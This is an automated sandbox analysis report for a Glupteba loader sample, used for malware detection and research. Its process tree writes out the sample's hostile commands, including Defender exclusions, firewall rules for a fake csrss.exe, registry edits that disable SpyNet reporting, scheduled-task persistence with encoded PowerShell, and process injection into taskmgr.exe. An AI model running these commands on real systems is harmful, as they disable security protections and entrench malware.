Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

04/02/2024, 20:53

240204-zppqysaee3 10

18/12/2023, 05:04

231218-fqrgdsaeh8 10

Analysis

  • max time kernel
    8s
  • max time network
    151s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    04/02/2024, 20:53

General

  • Target

    ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe

  • Size

    735KB

  • MD5

    9f5cb3a9a4053a53063a9da9afbf6273

  • SHA1

    b1ad9fe9cd4e8ddf11909751a2e0334c86ff206e

  • SHA256

    ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1

  • SHA512

    aaa720bb50f26f0508f1a3403da7189e7915c5663f08b35dd35299bfb6815c3f20bfb143d35cb57a0a95f623505809434ec28ecb7b90374e674a40381c079b26

  • SSDEEP

    12288:xYRY4kQvFK/hSB8W5yWz2izHvqIknzbUtaD0Drt+/wQVbAV:/48SB8W5lzfqIknzCaoDWwWA

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 18 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Drops startup file 4 IoCs
  • Executes dropped EXE 3 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Windows security modification 2 TTPs 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 64 IoCs
  • Creates scheduled task(s) 1 TTPs 13 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe
    "C:\Users\Admin\AppData\Local\Temp\ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe"
    1⤵
    • Windows security bypass
    • Windows security modification
    PID:1484
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe" -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2340
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      2⤵
      • Drops startup file
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2436
      • C:\Users\Admin\Pictures\VA0CcFhxsk1h59T626scPewi.exe
        "C:\Users\Admin\Pictures\VA0CcFhxsk1h59T626scPewi.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3188
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 392
          4⤵
          • Program crash
          PID:3736
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 368
          4⤵
          • Program crash
          PID:2704
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 420
          4⤵
          • Program crash
          PID:712
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 664
          4⤵
          • Program crash
          PID:4608
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 712
          4⤵
          • Program crash
          PID:4328
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 684
          4⤵
          • Program crash
          PID:4636
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 740
          4⤵
          • Program crash
          PID:3424
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 860
          4⤵
          • Program crash
          PID:2456
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 760
          4⤵
          • Program crash
          PID:980
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 804
          4⤵
          • Program crash
          PID:4532
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 776
          4⤵
          • Program crash
          PID:1796
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 896
          4⤵
          • Program crash
          PID:4576
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 800
          4⤵
          • Program crash
          PID:3568
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 548
          4⤵
          • Program crash
          PID:756
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -nologo -noprofile
          4⤵
            PID:5076
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 900
            4⤵
            • Program crash
            PID:872
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 580
            4⤵
            • Program crash
            PID:4820
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 700
            4⤵
            • Program crash
            PID:4584
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 816
            4⤵
            • Program crash
            PID:4704
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 580
            4⤵
            • Program crash
            PID:212
          • C:\Users\Admin\Pictures\VA0CcFhxsk1h59T626scPewi.exe
            "C:\Users\Admin\Pictures\VA0CcFhxsk1h59T626scPewi.exe"
            4⤵
              PID:5004
              • C:\Windows\System32\cmd.exe
                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                5⤵
                  PID:1572
                  • C:\Windows\system32\netsh.exe
                    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                    6⤵
                    • Modifies Windows Firewall
                    PID:3068
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nologo -noprofile
                  5⤵
                    PID:5092
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nologo -noprofile
                    5⤵
                      PID:4596
                    • C:\Windows\rss\csrss.exe
                      C:\Windows\rss\csrss.exe
                      5⤵
                        PID:4504
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 388
                          6⤵
                          • Program crash
                          PID:980
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 404
                          6⤵
                          • Program crash
                          PID:2312
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 392
                          6⤵
                          • Program crash
                          PID:2296
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 684
                          6⤵
                          • Program crash
                          PID:4852
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 724
                          6⤵
                          • Program crash
                          PID:1504
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 680
                          6⤵
                          • Program crash
                          PID:2924
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 796
                          6⤵
                          • Program crash
                          PID:3220
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -nologo -noprofile
                          6⤵
                            PID:4564
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 672
                            6⤵
                            • Program crash
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5076
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 660
                            6⤵
                              PID:792
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              6⤵
                                PID:2992
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 836
                                6⤵
                                  PID:4604
                                • C:\Windows\SYSTEM32\schtasks.exe
                                  schtasks /delete /tn ScheduledUpdate /f
                                  6⤵
                                    PID:3160
                                  • C:\Windows\SYSTEM32\schtasks.exe
                                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                    6⤵
                                    • Creates scheduled task(s)
                                    PID:2792
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 900
                                    6⤵
                                      PID:4656
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 908
                                      6⤵
                                        PID:3988
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -nologo -noprofile
                                        6⤵
                                          PID:1732
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 840
                                          6⤵
                                            PID:4656
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 992
                                            6⤵
                                              PID:2112
                                            • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                              C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                              6⤵
                                                PID:3052
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 976
                                                6⤵
                                                  PID:4320
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 780
                                                  6⤵
                                                    PID:4300
                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                    6⤵
                                                    • Creates scheduled task(s)
                                                    PID:3408
                                                  • C:\Windows\windefender.exe
                                                    "C:\Windows\windefender.exe"
                                                    6⤵
                                                      PID:5080
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                        7⤵
                                                          PID:4992
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 1072
                                                        6⤵
                                                          PID:4812
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 1080
                                                          6⤵
                                                            PID:2316
                                                    • C:\Users\Admin\Pictures\scFmSRWkuUNQtgC1AbeD0afM.exe
                                                      "C:\Users\Admin\Pictures\scFmSRWkuUNQtgC1AbeD0afM.exe"
                                                      3⤵
                                                      • Executes dropped EXE
                                                      PID:648
                                                    • C:\Users\Admin\Pictures\pTqImyLjS9G69ZApf50LCnVA.exe
                                                      "C:\Users\Admin\Pictures\pTqImyLjS9G69ZApf50LCnVA.exe"
                                                      3⤵
                                                        PID:4172
                                                        • C:\Users\Admin\Pictures\pTqImyLjS9G69ZApf50LCnVA.exe
                                                          "C:\Users\Admin\Pictures\pTqImyLjS9G69ZApf50LCnVA.exe"
                                                          4⤵
                                                            PID:4196
                                                            • C:\Windows\System32\cmd.exe
                                                              C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                                              5⤵
                                                                PID:3268
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -nologo -noprofile
                                                                5⤵
                                                                  PID:2060
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -nologo -noprofile
                                                                  5⤵
                                                                    PID:1812
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 828
                                                                    5⤵
                                                                    • Program crash
                                                                    PID:372
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 640
                                                                    5⤵
                                                                    • Program crash
                                                                    PID:956
                                                              • C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe
                                                                "C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe" --silent --allusers=0
                                                                3⤵
                                                                  PID:1188
                                                                  • C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe
                                                                    "C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=1188 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240204205404" --session-guid=40c4ca80-2904-48fd-bf4d-8092483d641a --server-tracking-blob=OTk1MjBiMjA5NWQyNTFjYjI1Y2EyYTQyOWVmZDY0YmFmMjI1N2RhMTQ5ZWI3NDg2ZjZiM2Q3NWFkYTYyMTA4ZDp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcwNzA4MDAzNy42MjE0IiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiI5ZmQxZTI2Zi1lNWUyLTRmZmUtYTRlOS01YzZmNzNkYTA4Y2MifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=A804000000000000
                                                                    4⤵
                                                                      PID:3136
                                                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\rzuKW6hkPOVhwJc5rR8Tb2R4.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\rzuKW6hkPOVhwJc5rR8Tb2R4.exe" --version
                                                                      4⤵
                                                                        PID:4428
                                                                      • C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe
                                                                        C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=106.0.4998.70 --initial-client-data=0x2b8,0x2bc,0x2c0,0x294,0x2c4,0x6edc9558,0x6edc9564,0x6edc9570
                                                                        4⤵
                                                                          PID:584
                                                                        • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\Assistant_106.0.4998.16_Setup.exe_sfx.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\Assistant_106.0.4998.16_Setup.exe_sfx.exe"
                                                                          4⤵
                                                                            PID:2356
                                                                          • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\assistant_installer.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\assistant_installer.exe" --version
                                                                            4⤵
                                                                              PID:4796
                                                                              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\assistant_installer.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=106.0.4998.16 --initial-client-data=0x248,0x24c,0x250,0x224,0x254,0xcf2614,0xcf2620,0xcf262c
                                                                                5⤵
                                                                                  PID:4596
                                                                            • C:\Users\Admin\Pictures\W87QPG29KXrU6BY579qTww6w.exe
                                                                              "C:\Users\Admin\Pictures\W87QPG29KXrU6BY579qTww6w.exe"
                                                                              3⤵
                                                                                PID:4428
                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS9C5F.tmp\Install.exe
                                                                                  .\Install.exe
                                                                                  4⤵
                                                                                    PID:3796
                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS9EC0.tmp\Install.exe
                                                                                      .\Install.exe /JPdidKxawB "385118" /S
                                                                                      5⤵
                                                                                        PID:3644
                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                                                                          6⤵
                                                                                            PID:5052
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                                                              7⤵
                                                                                                PID:2584
                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                                                  8⤵
                                                                                                    PID:1488
                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                                                                    8⤵
                                                                                                      PID:5084
                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                                                                                  6⤵
                                                                                                    PID:4512
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                                                                      7⤵
                                                                                                        PID:2060
                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                                                                          8⤵
                                                                                                            PID:5116
                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                                                                                            8⤵
                                                                                                              PID:3224
                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                          schtasks /CREATE /TN "gPsBKjbMU" /SC once /ST 11:18:17 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                          6⤵
                                                                                                          • Creates scheduled task(s)
                                                                                                          PID:2364
                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                          schtasks /run /I /tn "gPsBKjbMU"
                                                                                                          6⤵
                                                                                                            PID:4000
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /DELETE /F /TN "gPsBKjbMU"
                                                                                                            6⤵
                                                                                                              PID:916
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /CREATE /TN "bvgvHgqNgKCzXIKVFa" /SC once /ST 20:56:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih\STqvVSINdDxWlBS\lmKQlBZ.exe\" Lc /kgsite_idmdR 385118 /S" /V1 /F
                                                                                                              6⤵
                                                                                                              • Creates scheduled task(s)
                                                                                                              PID:3232
                                                                                                      • C:\Users\Admin\Pictures\aOWLyQ4AeJw8I0dS4tGLQY9R.exe
                                                                                                        "C:\Users\Admin\Pictures\aOWLyQ4AeJw8I0dS4tGLQY9R.exe" /VERYSILENT
                                                                                                        3⤵
                                                                                                          PID:5112
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-C92K4.tmp\aOWLyQ4AeJw8I0dS4tGLQY9R.tmp
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-C92K4.tmp\aOWLyQ4AeJw8I0dS4tGLQY9R.tmp" /SL5="$3027A,831488,831488,C:\Users\Admin\Pictures\aOWLyQ4AeJw8I0dS4tGLQY9R.exe" /VERYSILENT
                                                                                                            4⤵
                                                                                                              PID:2372
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 396
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:3160
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 412
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:4968
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 388
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:2092
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 660
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:3588
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 748
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:3268
                                                                                                        • C:\Windows\system32\netsh.exe
                                                                                                          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                                                                          2⤵
                                                                                                          • Modifies Windows Firewall
                                                                                                          PID:828
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 720
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:4448
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 784
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:1428
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 856
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:3896
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 840
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:4428
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 916
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:2356
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 888
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:2232
                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        powershell -nologo -noprofile
                                                                                                        1⤵
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:508
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 832
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:4512
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 604
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:5060
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 736
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:1392
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 676
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:4588
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 696
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:2324
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 624
                                                                                                        1⤵
                                                                                                        • Program crash
                                                                                                        PID:484
                                                                                                      • C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe
